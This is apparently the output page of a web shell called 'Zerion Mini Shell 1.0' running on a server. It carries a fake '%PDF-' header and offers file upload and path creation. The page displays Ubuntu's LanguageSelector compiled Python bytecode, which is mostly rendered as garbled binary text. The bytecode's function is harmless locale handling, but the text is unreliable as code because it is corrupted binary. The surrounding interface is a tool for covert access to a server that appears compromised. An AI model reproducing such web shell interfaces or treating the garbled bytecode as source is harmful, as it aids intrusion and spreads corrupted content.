%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/LanguageSelector/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/LanguageSelector/__pycache__/LanguageSelector.cpython-312.pyc

�

k�!f���H�ddlmZddlmZddlZejdde�ddlZddlZddlZddl	Z	ddl
mZddlZ
ddl�ddl
mZGd	�d
e�Zedk(rIed�
�Zej)ej*j-��eej1��yy)�)�print_function)�absolute_importN�ignorezapt API not stable yet)�
LocaleInfo)�*)�macrosc�B�eZdZdZdd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zy
)�LanguageSelectorBasez' base class for language-selector code c�V�||_td|j�|_d|_y)N�languagelist)�_datadirr�_localeinfo�_cache)�self�datadirs  �C/usr/lib/python3/dist-packages/LanguageSelector/LanguageSelector.py�__init__zLanguageSelectorBase.__init__s#����
�%�n�d�m�m�D������c�b�tjj|j|�|_y)N)�LanguageSelector�	LangCache�LanguageSelectorPkgCacherr)r�progresss  r�	openCachezLanguageSelectorBase.openCache s#��&�0�0�I�I�$�JZ�JZ�\d�e��rc�@�|jrJtj|jtj
j
|jdd��}ntj|j�}g}|j�D]}|j|��|S)zh
        return a list of language packs that are not installed
        but should be installed
        �data�pkg_depends)	r
�language_support_pkgs�LanguageSupportr�os�path�join�missing�append)r�lsr#�packs    r�getMissingLangPacksz(LanguageSelectorBase.getMissingLangPacks#s{��
�=�=�&�6�6�t�{�{��G�G�L�L�����
�F�H�B�'�6�6�t�{�{�C�B����J�J�L�	!�D��N�N�4� �	!��rc��tj�}|jdd�}tj|d��}|j	|�y)�1 write various LC_* variables (e.g. de_DE.UTF-8) �com.ubuntu.LanguageSelector�/��dbus_interfaceN)�dbus�	SystemBus�
get_object�	Interface�SetSystemDefaultFormatsEnv)r�
sysFormats�bus�obj�ifaces     r�writeSysFormatsSettingz+LanguageSelectorBase.writeSysFormatsSetting2s>���n�n����n�n�:�3�?�����s�2O�P��
�(�(��4rc��tj�}|jdd�}tj|d��}|j	|�y)z2 write the system "LANGUAGE" and "LANG" variables r*r+r,N)r.r/r0r1�SetSystemDefaultLanguageEnv)r�sysLanguager4r5r6s     r�writeSysLanguageSettingz,LanguageSelectorBase.writeSysLanguageSetting9s>���n�n����n�n�:�3�?�����s�2O�P��
�)�)�+�6rc�v�tj�}|dk(r,tjdtjd�z�ytj�}|jdd|z�}tj|d��}tj|j|�}|j|d	�y)
r)rz&No formats locale saved for user '%s'.�USERN�org.freedesktop.Accounts� /org/freedesktop/Accounts/User%i�org.freedesktop.Accounts.Userr,�	SYSLOCALE)
r �getuid�warnings�warn�getenvr.r/r0r1r�LangpackMacrosr
�SetFormatsLocale)r�userFormats�uidr4r5r6�macrs       r�writeUserFormatsSettingz,LanguageSelectorBase.writeUserFormatsSetting@s����i�i�k���!�8��M�M�B�R�Y�Y�v�EV�V�W���n�n����n�n�7�>��D�F�����s�3R�S���$�$�T�]�]�K�@��
���t�K�0�1rc�N�tj�}|dk(r,tjdtjd�z�ytj�}|jdd|z�}tj|d��}|j|j|��y)	z0 write the user "LANGUAGE" and "LANG" variables rz No language saved for user '%s'.r=Nr>r?r@r,)r rBrCrDrEr.r/r0r1�SetLanguage�validateLangList)r�userLanguagerIr4r5r6s      r�writeUserLanguageSettingz-LanguageSelectorBase.writeUserLanguageSettingMs����i�i�k���!�8��M�M�<�r�y�y��?P�P�Q���n�n����n�n�7�>��D�F�����s�3R�S��
���$�/�/��=�>rc�@�g}d}|jd�D]Z}|dk(r|jddg�n@|jd�s|dk(r|j|�d}�G|r�J|j|��\dj	|�}||k7rtjd�|S)zN
        remove elements which can be assumed to cause user confusion
        F�:�en_US�en�en_Tz.The language list was modified by the program.)�split�extend�
startswithr$r"rCrD)rrO�tmp�is_eng�lang�validatedLangLists      rrNz%LanguageSelectorBase.validateLangListYs������� �&�&�s�+�	!�D��w���
�
�G�T�?�+������'�4�4�<��
�
�4� �����
�
�4� �	!� �H�H�S�M����,��M�M�J�K� � rN)�)�__name__�
__module__�__qualname__�__doc__rrr'r7r;rKrPrN�rrr
r
s.��1��f�
�5�7�2�
?�!rr
�__main__z..)r)�
__future__rrrC�filterwarnings�
FutureWarning�aptr.r r�LanguageSelector.LocaleInfor�LanguageSelector.LangCacher�LanguageSelector.utilsr�objectr
r^�lsbrr�
OpProgress�print�verifyPackageListsrbrr�<module>rps���&�&�������":�M�J�
��	��2�!�$�#�T!�6�T!�n�z��
�t�
,�C��M�M�#�,�,�)�)�+�,�	�#�
 �
 �
"�#�r

Zerion Mini Shell 1.0